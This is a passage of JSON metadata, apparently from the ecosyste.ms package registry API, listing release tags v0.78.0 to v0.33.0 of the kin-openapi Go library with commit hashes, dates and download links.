enapi@v0.78.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.78.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.78.0/manifests"},{"name":"v0.77.0","sha":"5a162f64354ef69fb4b52e4343f45bd224bf6f03","kind":"commit","published_at":"2021-10-07T12:10:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.77.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.77.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.77.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.77.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.77.0/manifests"},{"name":"v0.76.0","sha":"f58924543e3f7a5e41383a2513933fa27477a02e","kind":"commit","published_at":"2021-09-21T09:51:44.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.76.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.76.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.76.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.76.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.76.0/manifests"},{"name":"v0.75.0","sha":"34cafeca29422493b3ac294a217edfba0f490cd4","kind":"commit","published_at":"2021-08-28T10:27:48.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.75.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.75.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.75.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.75.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.75.0/manifests"},{"name":"v0.74.0","sha":"dc944adc1492febff1977923fc2418f9d71290c8","kind":"commit","published_at":"2021-08-16T09:44:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.74.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.74.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.74.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.74.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.74.0/manifests"},{"name":"v0.73.0","sha":"9b79d5d4792051e59178a323ab0136b545d06136","kind":"commit","published_at":"2021-08-14T15:50:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.73.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.73.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.73.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.73.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.73.0/manifests"},{"name":"v0.72.0","sha":"f16058d959bd18ecfd8be147bc2b11cbe1cd79d8","kind":"commit","published_at":"2021-08-11T14:54:54.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.72.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.72.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.72.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.72.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.72.0/manifests"},{"name":"v0.71.0","sha":"b35b144093fb1c8a02890f979bdc276eaa628f46","kind":"commit","published_at":"2021-08-10T17:10:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.71.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.71.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.71.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.71.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.71.0/manifests"},{"name":"v0.70.0","sha":"fba0a14e84c1efe61f72dd9d5806fc5605fc6f2e","kind":"commit","published_at":"2021-08-07T08:30:38.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.70.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.70.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.70.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.70.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.70.0/manifests"},{"name":"v0.69.0","sha":"7fd2ca16cdda3afc5f9a8b2dab3456a8fa2f662e","kind":"commit","published_at":"2021-08-03T07:27:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.69.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.69.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.69.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.69.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.69.0/manifests"},{"name":"v0.68.0","sha":"ed98f50ff5afcacd39585f52ef4cd2b0c3b0752a","kind":"commit","published_at":"2021-07-29T10:55:47.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.68.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.68.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.68.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.68.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.68.0/manifests"},{"name":"v0.67.0","sha":"bde5325550db1fa371168738ec29331e4f646795","kind":"commit","published_at":"2021-07-23T12:08:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.67.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.67.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.67.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.67.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.67.0/manifests"},{"name":"v0.66.0","sha":"6b4444becdebac4ea5658cbe205bac8c27a7ec41","kind":"commit","published_at":"2021-06-28T14:21:02.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.66.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.66.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.66.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.66.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.66.0/manifests"},{"name":"v0.65.0","sha":"19ba1f805a9885f57f111d46cb6cc1b76cfb06cc","kind":"commit","published_at":"2021-06-24T10:16:38.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.65.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.65.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.65.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.65.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.65.0/manifests"},{"name":"v0.64.0","sha":"d30837871e4548501ae7e3fc9ed0f74e35caa53d","kind":"commit","published_at":"2021-06-23T11:45:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.64.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.64.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.64.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.64.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.64.0/manifests"},{"name":"v0.63.0","sha":"707e4ba1acb2ff3340c197dde6d4527b9e8bcbec","kind":"commit","published_at":"2021-06-07T14:21:05.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.63.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.63.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.63.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.63.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.63.0/manifests"},{"name":"v0.62.0","sha":"56338d2b64168461d42bd904e82cd6b788a9ef87","kind":"commit","published_at":"2021-05-20T10:38:15.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.62.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.62.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.62.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.62.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.62.0/manifests"},{"name":"v0.61.0","sha":"cc9e37b212eab86de474d58c64f390b717b7bb69","kind":"commit","published_at":"2021-04-26T18:20:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.61.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.61.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.61.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.61.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.61.0/manifests"},{"name":"v0.60.0","sha":"f6c20c3128c117d5e2e4eed3b76bea1d75494e86","kind":"commit","published_at":"2021-04-23T20:00:03.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.60.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.60.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.60.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.60.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.60.0/manifests"},{"name":"v0.59.0","sha":"1b47cceae470618e6cc396f57e81cffd5c529ef7","kind":"commit","published_at":"2021-04-23T19:43:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.59.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.59.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.59.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.59.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.59.0/manifests"},{"name":"v0.58.0","sha":"a4e36cd21eb51476452efee483ba1f3c12701e5c","kind":"commit","published_at":"2021-04-23T14:19:19.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.58.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.58.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.58.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.58.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.58.0/manifests"},{"name":"v0.57.0","sha":"8407517f2b22e64902956cdf0a4063f9b2eeb77b","kind":"commit","published_at":"2021-04-23T12:41:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.57.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.57.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.57.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.57.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.57.0/manifests"},{"name":"v0.56.0","sha":"983bf118d0a99346a1bb7bdeb14eae0e64154ef3","kind":"commit","published_at":"2021-04-23T11:01:51.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.56.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.56.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.56.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.56.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.56.0/manifests"},{"name":"v0.55.0","sha":"349fb583776dcb4a0fb371d3a43f7ed952d2b206","kind":"commit","published_at":"2021-04-17T09:55:31.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.55.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.55.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.55.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.55.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.55.0/manifests"},{"name":"v0.54.0","sha":"13a13985d18353170014c743b74a36696c20f5f3","kind":"commit","published_at":"2021-04-12T13:21:43.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.54.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.54.0/manifests"},{"name":"v0.53.0","sha":"17153345908503543b50b7b6409f9d030bae0beb","kind":"commit","published_at":"2021-03-23T20:38:46.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.53.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.53.0/manifests"},{"name":"v0.52.0","sha":"2b6e6b53ffdf07231163595a9eca8ddaabca46c8","kind":"commit","published_at":"2021-03-20T19:55:08.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.52.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.52.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.52.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.52.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.52.0/manifests"},{"name":"v0.51.0","sha":"3690b664fe9e5aa8e7e5de77833da7c32d08b6fa","kind":"commit","published_at":"2021-03-19T16:06:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.51.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.51.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.51.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.51.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.51.0/manifests"},{"name":"v0.50.0","sha":"3794d148eb07a8562934cd7d4d3ace10dcc37fbd","kind":"commit","published_at":"2021-03-18T17:14:53.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.50.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.50.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.50.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.50.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.50.0/manifests"},{"name":"v0.49.0","sha":"1286d066039886ab13d9fca0947db4d1d5994343","kind":"commit","published_at":"2021-03-08T19:59:49.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.49.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.49.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.49.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.49.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.49.0/manifests"},{"name":"v0.48.0","sha":"96aeb23612d5a53d3ca9a8f3a31783629d6864a1","kind":"commit","published_at":"2021-03-04T08:48:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.48.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.48.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.48.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.48.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.48.0/manifests"},{"name":"v0.47.0","sha":"f598766c375cdcb0cbbfde6c9366936510b6e19c","kind":"commit","published_at":"2021-03-03T17:38:23.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.47.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.47.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.47.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.47.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.47.0/manifests"},{"name":"v0.46.0","sha":"ea43ca73b122b9516273ed106c9d58792ce52488","kind":"commit","published_at":"2021-03-03T14:33:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.46.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.46.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.46.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.46.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.46.0/manifests"},{"name":"v0.45.1","sha":"4c01aaedaca1dc836f955591c5fb59d53ba68c16","kind":"commit","published_at":"2021-03-02T16:17:28.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.45.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.45.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.45.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.1/manifests"},{"name":"v0.45.0","sha":"89012b7cfdaa0da485d7e198a2300b7edb77e24a","kind":"commit","published_at":"2021-03-01T21:04:50.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.45.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.45.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.45.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.0/manifests"},{"name":"v0.44.0","sha":"bdba5d10c8e88a4d3e24310c918a6fc52c0ac8dc","kind":"commit","published_at":"2021-02-25T17:00:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.44.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.44.0/manifests"},{"name":"v0.43.0","sha":"6d6f1ef76aaa51df4dc9dece4b5a346d184cc6d5","kind":"commit","published_at":"2021-02-23T21:29:14.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.43.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.43.0/manifests"},{"name":"v0.42.0","sha":"b2761ee838a4d9b27bfb84adca6b0abbbbddf62b","kind":"commit","published_at":"2021-02-23T15:54:17.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.42.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.42.0/manifests"},{"name":"v0.41.0","sha":"66fba45fb4b0f663d6a9264285608bcddd467281","kind":"commit","published_at":"2021-02-23T15:30:57.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.41.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.41.0/manifests"},{"name":"v0.40.0","sha":"33fc72130678cdcff6bcb152476c12558942768b","kind":"commit","published_at":"2021-02-23T12:07:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.40.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.40.0/manifests"},{"name":"v0.39.0","sha":"66309f4b3e518c98adc86fa99c2c38e268b43745","kind":"commit","published_at":"2021-02-04T06:51:40.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.39.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.39.0/manifests"},{"name":"v0.38.0","sha":"aa9a5c3a388f4bcfef637aa24136eaefa709a6b7","kind":"commit","published_at":"2021-01-29T17:51:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.38.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.38.0/manifests"},{"name":"v0.37.0","sha":"be070be7974bcc3661f1898837e4a91fbcb2c87f","kind":"commit","published_at":"2021-01-29T07:37:44.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.37.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.37.0/manifests"},{"name":"v0.36.0","sha":"d4df86a63c4efbaf31aabce8f39555f22a8f1b30","kind":"commit","published_at":"2021-01-19T17:23:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.36.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.36.0/manifests"},{"name":"v0.35.0","sha":"4bb44a2e667c709f8c8eb0de17d8bcce67f1b53c","kind":"commit","published_at":"2021-01-05T12:41:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.35.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.35.0/manifests"},{"name":"v0.34.0","sha":"f05a91328638d7ae73adfd4298cd9456c7692572","kind":"commit","published_at":"2020-12-23T11:17:14.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.34.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.34.0/manifests"},{"name":"v0.33.0","sha":"9b9280d707773bb764ec07